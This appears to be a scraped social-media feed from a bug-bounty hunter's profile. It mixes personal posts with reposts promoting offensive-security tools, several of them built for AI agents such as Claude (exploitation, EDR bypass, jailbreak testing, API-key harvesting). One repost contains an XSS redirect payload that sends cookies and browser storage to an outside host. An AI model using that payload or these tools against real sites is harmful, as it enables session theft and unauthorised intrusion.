dirty0124

A positive, never give up person. Founder of group

[dirty0124 @dirtycoder0124]

Always open to hunt together. Dm for collab.
#bugbounty

[João Gomes (zig_shark) @JoaoGomes12243]

/login?redirectUrl=javascript:fetch('https://t.co/sgFFzZHc4q 0{method:'POST',%20body:JSON.stringify({cookies:document.cookie,sessionStorage:sessionStorage,localStorage:localStorage})})

[Vivek | Cybersecurity @VivekIntel]

⚔️ Claude-Red = Offensive Security Skills for Claude AI

A massive open-source framework that transforms Claude into a context-aware red team assistant. 🔥

📚 100+ offensive security skill modules
🌐 Web exploitation
🧠 Active Directory attacks
☁️ Cloud attack paths
📡 Wireless exploitation
💥 Exploit dev & fuzzing
🤖 AI security testing

Built for:
🎯 Bug bounty hunters
🛡️ Red teamers
🔬 Security researchers
🎓 CTF players
☁️ Cloud pentesters

Capabilities include:
✅ SQLi / XSS / SSRF / RCE
✅ ADCS / Kerberos / ACL abuse
✅ EDR bypass & shellcode ops
✅ WPA2/WPA3 attacks
✅ OAuth & JWT exploitation
✅ Prompt injection & jailbreak testing

🔗 https://t.co/QraHdkdU0A

#RedTeaming #Hacking #CyberThreat #ThreatIntel #Pentest #OpenSource

[Vivek | Cybersecurity @VivekIntel]

Claude Code Skill Bundle for Bug Bounty Hunting & External Red Team Operations 🤖💀

• 51 offensive security skills + 15 slash commands • Trained on 574+ disclosed HackerOne-style report patterns • Covers XSS, SSRF, SQLi, OAuth, JWT, GraphQL, RCE, IDOR & API abuse • Enterprise attack chains for M365, Okta, VPNs, SharePoint & vCenter • Built-in recon, exploit chaining, triage, evidence hygiene & reporting

https://t.co/89R7Cx20oz

#BugBounty #RedTeam #CyberSecurity #Pentesting #AppSec

[dirty0124 @dirtycoder0124]

The worst platform i have ever seen

[Nicolas Krassas @Dinosn]

Android Pentesting Skill https://t.co/vpe5QzQNPu

[Vivek | Cybersecurity @VivekIntel]

1600+ regex patterns for detecting secrets, API keys, tokens, and passwords. 💀🔥

This open-source database can directly improve your secret scanning pipelines (TruffleHog, Gitleaks, etc.).

If you're doing AppSec seriously, this is worth integrating.

https://t.co/PeNzr9iD79

#AppSec #CyberSecurity #Infosec

[dirty0124 @dirtycoder0124]

What to look for in android app bug hunting.
#bugbountytips #bugbounty

[Amr Elsagaei @amrelsagaei]

I built FoxHound, a Firefox extension that gives any AI agent full control over your browser.

I needed this while hunting. There are bugs the egent can not properly exploit without using the browser. Clicking things, reading the DOM, replaying requests, checking cookies across containers, running JS on the page. So i built it.

The agent can navigate tabs, click elements, fill and submit forms, upload files, take screenshots, capture all HTTP traffic with full request and response bodies, replay and modify requests, read and write cookies and storage, intercept live requests, hook into postMessage traffic, WebSocket connections, route changes, console output, service workers, and more.

It also uses PwnFox containers so the agent knows which container each request came from. If you are doing multi account testing, everything stays separated.

Setup takes 2 minutes:
1. Install the extension: https://t.co/zp0L5sonlL
2. Run: npm install -g foxhound-mcp
3. Copy the config from the extension options page into your MCP client. Done.

It is free. Give it a try and if you find any issues or want to add anything, open an issue on the GitHub: https://t.co/XtmZfbZzcU

[Mahmoud Omar @nullthrix]

lots of people asked me for my recon methodology

HYG:
https://t.co/KtYEXs0iJk

soon will publish my full WAP methodology...
#BugBounty #hacking #security #hackerone #bugcrowd #integrity #yeswehack

[dirty0124 @dirtycoder0124]

@krishnsec @yeswehack same here

[Nicolas Krassas @Dinosn]

Autonomous bug-bounty framework for Claude Code — 40 specialist agents, exploit-chain builder, writeup search, and live HackerOne/Bugcrowd integration. https://t.co/RgAFn1JL3a

[dirty0124 @dirtycoder0124]

Just a small approach to automate the things using one file script.
#bugbounty

[dirty0124 @dirtycoder0124]

https://t.co/jWI1sO6w0N
Bugcrowd Vrt simplified. I hope it will help the beginners. #bugbountytips

[Gospel @4osp3l]

https://t.co/SVfc04OAg3( @shinchina_ )

[dirty0124 @dirtycoder0124]

Celebrating 1 year with the client. Bugcrowd is doing good but client wants to celebrate 1 year relationship with the researcher. :). This is called long term relationship. hehe

[dirty0124 @dirtycoder0124]

@Mdhsan19 @trufflesecurity Hahaha. :)

[dirty0124 @dirtycoder0124]

Drop subdomains in
Get Gemini-enabled API keys out.
Automates HTML + JS crawling & AI access testing.

Bug hunters — this one’s for you 🔥

https://t.co/VhkJALEMnZ

Thanks to @trufflesecurity

#BugBounty #bugbountytips
Automation of
https://t.co/JP65fk7JA7

[Gospel @4osp3l]

0xJS is an AI-powered JS security tool;
- it can identify API keys, and other medium to critical severity secrets with high accuracy.
- also scans for potential security issues in JS i.e DOM-XSS, postMessage, URL redirect. e..t..c
- e..t..c; 0xJS v4.0 ( https://t.co/dfK8dxXdXL )

[Medusa @medusa_0xf]

I just published a video demonstrating how a token scope misconfiguration can silently lead to privilege escalation, where a normal user login becomes an admin-capable session due to improper scope validation.

https://t.co/Ir93EIx71E